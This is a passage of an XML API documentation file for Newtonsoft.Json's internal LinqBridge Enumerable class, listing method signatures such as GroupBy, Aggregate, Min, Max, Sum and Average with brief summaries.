name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.GroupBy``3(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,``1},Newtonsoft.Json.Serialization.Func{``0,``2})\">\n            <summary>\n            Groups the elements of a sequence according to a specified key \n            selector function and projects the elements for each group by \n            using a specified function.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.GroupBy``3(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,``1},Newtonsoft.Json.Serialization.Func{``0,``2},System.Collections.Generic.IEqualityComparer{``1})\">\n            <summary>\n            Groups the elements of a sequence according to a specified key \n            selector function and creates a result value from each group and \n            its key.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.GroupBy``3(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,``1},Newtonsoft.Json.Serialization.Func{``1,System.Collections.Generic.IEnumerable{``0},``2})\">\n            <summary>\n            Groups the elements of a sequence according to a key selector \n            function. The keys are compared by using a comparer and each \n            group's elements are projected by using a specified function.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.GroupBy``3(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,``1},Newtonsoft.Json.Serialization.Func{``1,System.Collections.Generic.IEnumerable{``0},``2},System.Collections.Generic.IEqualityComparer{``1})\">\n            <summary>\n            Groups the elements of a sequence according to a specified key \n            selector function and creates a result value from each group and \n            its key. The elements of each group are projected by using a \n            specified function.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.GroupBy``4(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,``1},Newtonsoft.Json.Serialization.Func{``0,``2},Newtonsoft.Json.Serialization.Func{``1,System.Collections.Generic.IEnumerable{``2},``3})\">\n            <summary>\n            Groups the elements of a sequence according to a specified key \n            selector function and creates a result value from each group and \n            its key. The keys are compared by using a specified comparer.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.GroupBy``4(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,``1},Newtonsoft.Json.Serialization.Func{``0,``2},Newtonsoft.Json.Serialization.Func{``1,System.Collections.Generic.IEnumerable{``2},``3},System.Collections.Generic.IEqualityComparer{``1})\">\n            <summary>\n            Groups the elements of a sequence according to a specified key \n            selector function and creates a result value from each group and \n            its key. Key values are compared by using a specified comparer, \n            and the elements of each group are projected by using a \n            specified function.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Aggregate``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,``0,``0})\">\n            <summary>\n            Applies an accumulator function over a sequence.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Aggregate``2(System.Collections.Generic.IEnumerable{``0},``1,Newtonsoft.Json.Serialization.Func{``1,``0,``1})\">\n            <summary>\n            Applies an accumulator function over a sequence. The specified \n            seed value is used as the initial accumulator value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Aggregate``3(System.Collections.Generic.IEnumerable{``0},``1,Newtonsoft.Json.Serialization.Func{``1,``0,``1},Newtonsoft.Json.Serialization.Func{``1,``2})\">\n            <summary>\n            Applies an accumulator function over a sequence. The specified \n            seed value is used as the initial accumulator value, and the \n            specified function is used to select the result value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Union``1(System.Collections.Generic.IEnumerable{``0},System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Produces the set union of two sequences by using the default \n            equality comparer.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Union``1(System.Collections.Generic.IEnumerable{``0},System.Collections.Generic.IEnumerable{``0},System.Collections.Generic.IEqualityComparer{``0})\">\n            <summary>\n            Produces the set union of two sequences by using a specified \n            <see cref=\"T:System.Collections.Generic.IEqualityComparer`1\" />.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.DefaultIfEmpty``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns the elements of the specified sequence or the type \n            parameter's default value in a singleton collection if the \n            sequence is empty.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.DefaultIfEmpty``1(System.Collections.Generic.IEnumerable{``0},``0)\">\n            <summary>\n            Returns the elements of the specified sequence or the specified \n            value in a singleton collection if the sequence is empty.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.All``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Boolean})\">\n            <summary>\n            Determines whether all elements of a sequence satisfy a condition.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Any``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Determines whether a sequence contains any elements.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Any``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Boolean})\">\n            <summary>\n            Determines whether any element of a sequence satisfies a \n            condition.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Contains``1(System.Collections.Generic.IEnumerable{``0},``0)\">\n            <summary>\n            Determines whether a sequence contains a specified element by \n            using the default equality comparer.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Contains``1(System.Collections.Generic.IEnumerable{``0},``0,System.Collections.Generic.IEqualityComparer{``0})\">\n            <summary>\n            Determines whether a sequence contains a specified element by \n            using a specified <see cref=\"T:System.Collections.Generic.IEqualityComparer`1\" />.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.SequenceEqual``1(System.Collections.Generic.IEnumerable{``0},System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Determines whether two sequences are equal by comparing the \n            elements by using the default equality comparer for their type.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.SequenceEqual``1(System.Collections.Generic.IEnumerable{``0},System.Collections.Generic.IEnumerable{``0},System.Collections.Generic.IEqualityComparer{``0})\">\n            <summary>\n            Determines whether two sequences are equal by comparing their \n            elements by using a specified <see cref=\"T:System.Collections.Generic.IEqualityComparer`1\" />.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.MinMaxImpl``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,``0,System.Boolean})\">\n            <summary>\n            Base implementation for Min/Max operator.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.MinMaxImpl``1(System.Collections.Generic.IEnumerable{System.Nullable{``0}},System.Nullable{``0},Newtonsoft.Json.Serialization.Func{System.Nullable{``0},System.Nullable{``0},System.Boolean})\">\n            <summary>\n            Base implementation for Min/Max operator for nullable types.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Min``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns the minimum value in a generic sequence.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Min``2(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,``1})\">\n            <summary>\n            Invokes a transform function on each element of a generic \n            sequence and returns the minimum resulting value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Max``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns the maximum value in a generic sequence.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Max``2(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,``1})\">\n            <summary>\n            Invokes a transform function on each element of a generic \n            sequence and returns the maximum resulting value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Renumerable``1(System.Collections.Generic.IEnumerator{``0})\">\n            <summary>\n            Makes an enumerator seen as enumerable once more.\n            </summary>\n            <remarks>\n            The supplied enumerator must have been started. The first element\n            returned is the element the enumerator was on when passed in.\n            DO NOT use this method if the caller must be a generator. It is\n            mostly safe among aggregate operations.\n            </remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.OrderBy``2(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,``1})\">\n            <summary>\n            Sorts the elements of a sequence in ascending order according to a key.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.OrderBy``2(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,``1},System.Collections.Generic.IComparer{``1})\">\n            <summary>\n            Sorts the elements of a sequence in ascending order by using a \n            specified comparer.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.OrderByDescending``2(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,``1})\">\n            <summary>\n            Sorts the elements of a sequence in descending order according to a key.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.OrderByDescending``2(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,``1},System.Collections.Generic.IComparer{``1})\">\n            <summary>\n             Sorts the elements of a sequence in descending order by using a \n            specified comparer. \n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.ThenBy``2(Newtonsoft.Json.Utilities.LinqBridge.IOrderedEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,``1})\">\n            <summary>\n            Performs a subsequent ordering of the elements in a sequence in \n            ascending order according to a key.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.ThenBy``2(Newtonsoft.Json.Utilities.LinqBridge.IOrderedEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,``1},System.Collections.Generic.IComparer{``1})\">\n            <summary>\n            Performs a subsequent ordering of the elements in a sequence in \n            ascending order by using a specified comparer.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.ThenByDescending``2(Newtonsoft.Json.Utilities.LinqBridge.IOrderedEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,``1})\">\n            <summary>\n            Performs a subsequent ordering of the elements in a sequence in \n            descending order, according to a key.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.ThenByDescending``2(Newtonsoft.Json.Utilities.LinqBridge.IOrderedEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,``1},System.Collections.Generic.IComparer{``1})\">\n            <summary>\n            Performs a subsequent ordering of the elements in a sequence in \n            descending order by using a specified comparer.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.IntersectExceptImpl``1(System.Collections.Generic.IEnumerable{``0},System.Collections.Generic.IEnumerable{``0},System.Collections.Generic.IEqualityComparer{``0},System.Boolean)\">\n            <summary>\n            Base implementation for Intersect and Except operators.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Intersect``1(System.Collections.Generic.IEnumerable{``0},System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Produces the set intersection of two sequences by using the \n            default equality comparer to compare values.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Intersect``1(System.Collections.Generic.IEnumerable{``0},System.Collections.Generic.IEnumerable{``0},System.Collections.Generic.IEqualityComparer{``0})\">\n            <summary>\n            Produces the set intersection of two sequences by using the \n            specified <see cref=\"T:System.Collections.Generic.IEqualityComparer`1\" /> to compare values.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Except``1(System.Collections.Generic.IEnumerable{``0},System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Produces the set difference of two sequences by using the \n            default equality comparer to compare values.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Except``1(System.Collections.Generic.IEnumerable{``0},System.Collections.Generic.IEnumerable{``0},System.Collections.Generic.IEqualityComparer{``0})\">\n            <summary>\n            Produces the set difference of two sequences by using the \n            specified <see cref=\"T:System.Collections.Generic.IEqualityComparer`1\" /> to compare values.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.ToDictionary``2(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,``1})\">\n            <summary>\n            Creates a <see cref=\"T:System.Collections.Generic.Dictionary`2\" /> from an \n            <see cref=\"T:System.Collections.Generic.IEnumerable`1\" /> according to a specified key \n            selector function.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.ToDictionary``2(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,``1},System.Collections.Generic.IEqualityComparer{``1})\">\n            <summary>\n            Creates a <see cref=\"T:System.Collections.Generic.Dictionary`2\" /> from an \n            <see cref=\"T:System.Collections.Generic.IEnumerable`1\" /> according to a specified key \n            selector function and key comparer.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.ToDictionary``3(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,``1},Newtonsoft.Json.Serialization.Func{``0,``2})\">\n            <summary>\n            Creates a <see cref=\"T:System.Collections.Generic.Dictionary`2\" /> from an \n            <see cref=\"T:System.Collections.Generic.IEnumerable`1\" /> according to specified key \n            selector and element selector functions.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.ToDictionary``3(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,``1},Newtonsoft.Json.Serialization.Func{``0,``2},System.Collections.Generic.IEqualityComparer{``1})\">\n            <summary>\n            Creates a <see cref=\"T:System.Collections.Generic.Dictionary`2\" /> from an \n            <see cref=\"T:System.Collections.Generic.IEnumerable`1\" /> according to a specified key \n            selector function, a comparer, and an element selector function.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Join``4(System.Collections.Generic.IEnumerable{``0},System.Collections.Generic.IEnumerable{``1},Newtonsoft.Json.Serialization.Func{``0,``2},Newtonsoft.Json.Serialization.Func{``1,``2},Newtonsoft.Json.Serialization.Func{``0,``1,``3})\">\n            <summary>\n            Correlates the elements of two sequences based on matching keys. \n            The default equality comparer is used to compare keys.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Join``4(System.Collections.Generic.IEnumerable{``0},System.Collections.Generic.IEnumerable{``1},Newtonsoft.Json.Serialization.Func{``0,``2},Newtonsoft.Json.Serialization.Func{``1,``2},Newtonsoft.Json.Serialization.Func{``0,``1,``3},System.Collections.Generic.IEqualityComparer{``2})\">\n            <summary>\n            Correlates the elements of two sequences based on matching keys. \n            The default equality comparer is used to compare keys. A \n            specified <see cref=\"T:System.Collections.Generic.IEqualityComparer`1\" /> is used to compare keys.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.GroupJoin``4(System.Collections.Generic.IEnumerable{``0},System.Collections.Generic.IEnumerable{``1},Newtonsoft.Json.Serialization.Func{``0,``2},Newtonsoft.Json.Serialization.Func{``1,``2},Newtonsoft.Json.Serialization.Func{``0,System.Collections.Generic.IEnumerable{``1},``3})\">\n            <summary>\n            Correlates the elements of two sequences based on equality of \n            keys and groups the results. The default equality comparer is \n            used to compare keys.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.GroupJoin``4(System.Collections.Generic.IEnumerable{``0},System.Collections.Generic.IEnumerable{``1},Newtonsoft.Json.Serialization.Func{``0,``2},Newtonsoft.Json.Serialization.Func{``1,``2},Newtonsoft.Json.Serialization.Func{``0,System.Collections.Generic.IEnumerable{``1},``3},System.Collections.Generic.IEqualityComparer{``2})\">\n            <summary>\n            Correlates the elements of two sequences based on equality of \n            keys and groups the results. The default equality comparer is \n            used to compare keys. A specified <see cref=\"T:System.Collections.Generic.IEqualityComparer`1\" /> \n            is used to compare keys.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Sum(System.Collections.Generic.IEnumerable{System.Int32})\">\n            <summary>\n            Computes the sum of a sequence of <see cref=\"T:System.Int32\" /> values.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Sum``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Int32})\">\n            <summary>\n            Computes the sum of a sequence of <see cref=\"T:System.Int32\" />\n            values that are obtained by invoking a transform function on \n            each element of the input sequence.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Average(System.Collections.Generic.IEnumerable{System.Int32})\">\n            <summary>\n            Computes the average of a sequence of <see cref=\"T:System.Int32\" /> values.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Average``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Int32})\">\n            <summary>\n            Computes the average of a sequence of <see cref=\"T:System.Int32\" /> values\n            that are obtained by invoking a transform function on each \n            element of the input sequence.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Sum(System.Collections.Generic.IEnumerable{System.Nullable{System.Int32}})\">\n            <summary>\n            Computes the sum of a sequence of nullable <see cref=\"T:System.Int32\" /> values.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Sum``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Nullable{System.Int32}})\">\n            <summary>\n            Computes the sum of a sequence of nullable <see cref=\"T:System.Int32\" />\n            values that are obtained by invoking a transform function on \n            each element of the input sequence.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Average(System.Collections.Generic.IEnumerable{System.Nullable{System.Int32}})\">\n            <summary>\n            Computes the average of a sequence of nullable <see cref=\"T:System.Int32\" /> values.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Average``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Nullable{System.Int32}})\">\n            <summary>\n            Computes the average of a sequence of nullable <see cref=\"T:System.Int32\" /> values\n            that are obtained by invoking a transform function on each \n            element of the input sequence.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Min(System.Collections.Generic.IEnumerable{System.Nullable{System.Int32}})\">\n            <summary>\n            Returns the minimum value in a sequence of nullable \n            <see cref=\"T:System.Int32\" /> values.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Min``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Nullable{System.Int32}})\">\n            <summary>\n            Invokes a transform function on each element of a sequence and \n            returns the minimum nullable <see cref=\"T:System.Int32\" /> value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Max(System.Collections.Generic.IEnumerable{System.Nullable{System.Int32}})\">\n            <summary>\n            Returns the maximum value in a sequence of nullable \n            <see cref=\"T:System.Int32\" /> values.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Max``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Nullable{System.Int32}})\">\n            <summary>\n            Invokes a transform function on each element of a sequence and \n            returns the maximum nullable <see cref=\"T:System.Int32\" /> value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Sum(System.Collections.Generic.IEnumerable{System.Int64})\">\n            <summary>\n            Computes the sum of a sequence of <see cref=\"T:System.Int64\" /> values.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Sum``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Int64})\">\n            <summary>\n            Computes the sum of a sequence of <see cref=\"T:System.Int64\" />\n            values that are obtained by invoking a transform function on \n            each element of the input sequence.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Average(System.Collections.Generic.IEnumerable{System.Int64})\">\n            <summary>\n            Computes the average of a sequence of <see cref=\"T:System.Int64\" /> values.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Average``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Int64})\">\n            <summary>\n            Computes the average of a sequence of <see cref=\"T:System.Int64\" /> values\n            that are obtained by invoking a transform function on each \n            element of the input sequence.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Sum(System.Collections.Generic.IEnumerable{System.Nullable{System.Int64}})\">\n            <summary>\n            Computes the sum of a sequence of nullable <see cref=\"T:System.Int64\" /> values.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Sum``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Nullable{System.Int64}})\">\n            <summary>\n            Computes the sum of a sequence of nullable <see cref=\"T:System.Int64\" />\n            values that are obtained by invoking a transform function on \n            each element of the input sequence.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Average(System.Collections.Generic.IEnumerable{System.Nullable{System.Int64}})\">\n            <summary>\n            Computes the average of a sequence of nullable <see cref=\"T:System.Int64\" /> values.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Average``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Nullable{System.Int64}})\">\n            <summary>\n            Computes the average of a sequence of nullable <see cref=\"T:System.Int64\" /> values\n            that are obtained by invoking a transform function on each \n            element of the input sequence.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Min(System.Collections.Generic.IEnumerable{System.Nullable{System.Int64}})\">\n            <summary>\n            Returns the minimum value in a sequence of nullable \n            <see cref=\"T:System.Int64\" /> values.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Min``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Nullable{System.Int64}})\">\n            <summary>\n            Invokes a transform function on each element of a sequence and \n            returns the minimum nullable <see cref=\"T:System.Int64\" /> value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Max(System.Collections.Generic.IEnumerable{System.Nullable{System.Int64}})\">\n            <summary>\n            Returns the maximum value in a sequence of nullable \n            <see cref=\"T:System.Int64\" /> values.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Max``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Nullable{System.Int64}})\">\n            <summary>\n            Invokes a transform function on each element of a sequence and \n            returns the maximum nullable <see cref=\"T:System.Int64\" /> value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Sum(System.Collections.Generic.IEnumerable{System.Single})\">\n            <summary>\n            Computes the sum of a sequence of nullable <see cref=\"T:System.Single\" /> values.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Sum``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Single})\">\n            <summary>\n            Computes the sum of a sequence of <see cref=\"T:System.Single\" />\n            values that are obtained by invoking a transform function on \n            each element of the input sequence.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Average(System.Collections.Generic.IEnumerable{System.Single})\">\n            <summary>\n            Computes the average of a sequence of <see cref=\"T:System.Single\" /> values.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Average``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Single})\">\n            <summary>\n            Computes the average of a sequence of <see cref=\"T:System.Single\" /> values\n            that are obtained by invoking a transform function on each \n            element of the input sequence.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Sum(System.Collections.Generic.IEnumerable{System.Nullable{System.Single}})\">\n            <summary>\n            Computes the sum of a sequence of nullable <see cref=\"T:System.Single\" /> values.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Sum``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Nullable{System.Single}})\">\n            <summary>\n            Computes the sum of a sequence of nullable <see cref=\"T:System.Single\" />\n            values that are obtained by invoking a transform function on \n            each element of the input sequence.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Average(System.Collections.Generic.IEnumerable{System.Nullable{System.Single}})\">\n            <summary>\n            Computes the average of a sequence of nullable <see cref=\"T:System.Single\" /> values.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Average``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Nullable{System.Single}})\">\n            <summary>\n            Computes the average of a sequence of nullable <see cref=\"T:System.Single\" /> values\n            that are obtained by invoking a transform function on each \n            element of the input sequence.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Min(System.Collections.Generic.IEnumerable{System.Nullable{System.Single}})\">\n            <summary>\n            Returns the minimum value in a sequence of nullable \n            <see cref=\"T:System.Single\" /> values.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Min``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Nullable{System.Single}})\">\n            <summary>\n            Invokes a transform function on each element of a sequence and \n            returns the minimum nullable <see cref=\"T:System.Single\" /> value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Max(System.Collections.Generic.IEnumerable{System.Nullable{System.Single}})\">\n            <summary>\n            Returns the maximum value in a sequence of nullable \n            <see cref=\"T:System.Single\" /> values.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Max``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Nullable{System.Single}})\">\n            <summary>\n            Invokes a transform function on each element of a sequence and \n            returns the maximum nullable <see cref=\"T:System.Single\" /> value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Sum(System.Collections.Generic.IEnumerable{System.Double})\">\n            <summary>\n            Computes the sum of a sequence of <see cref=\"T:System.Double\" /> values.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Sum``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Double})\">\n            <summary>\n            Computes the sum of a sequence of <see cref=\"T:System.Double\" />\n            values that are obtained by invoking a transform function on \n            each element of the input sequence.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Average(System.Collections.Generic.IEnumerable{System.Double})\">\n            <summary>\n            Computes the average of a sequence of <see cref=\"T:System.Double\" /> values.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Average``1(System.Collections.Generic.IEnumerable{``0},Newtonsoft.Json.Serialization.Func{``0,System.Double})\">\n            <summary>\n            Computes the average of a sequence of <see cref=\"T:System.Double\" /> values\n            that are obtained by invoking a transform function on each \n            element of the input sequence.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.LinqBridge.Enumerable.Sum(System.Collections.Generic.IEnumerable{System.Nullable{System.Double}})\">\n            <summary>\n            Computes the sum of a sequence of 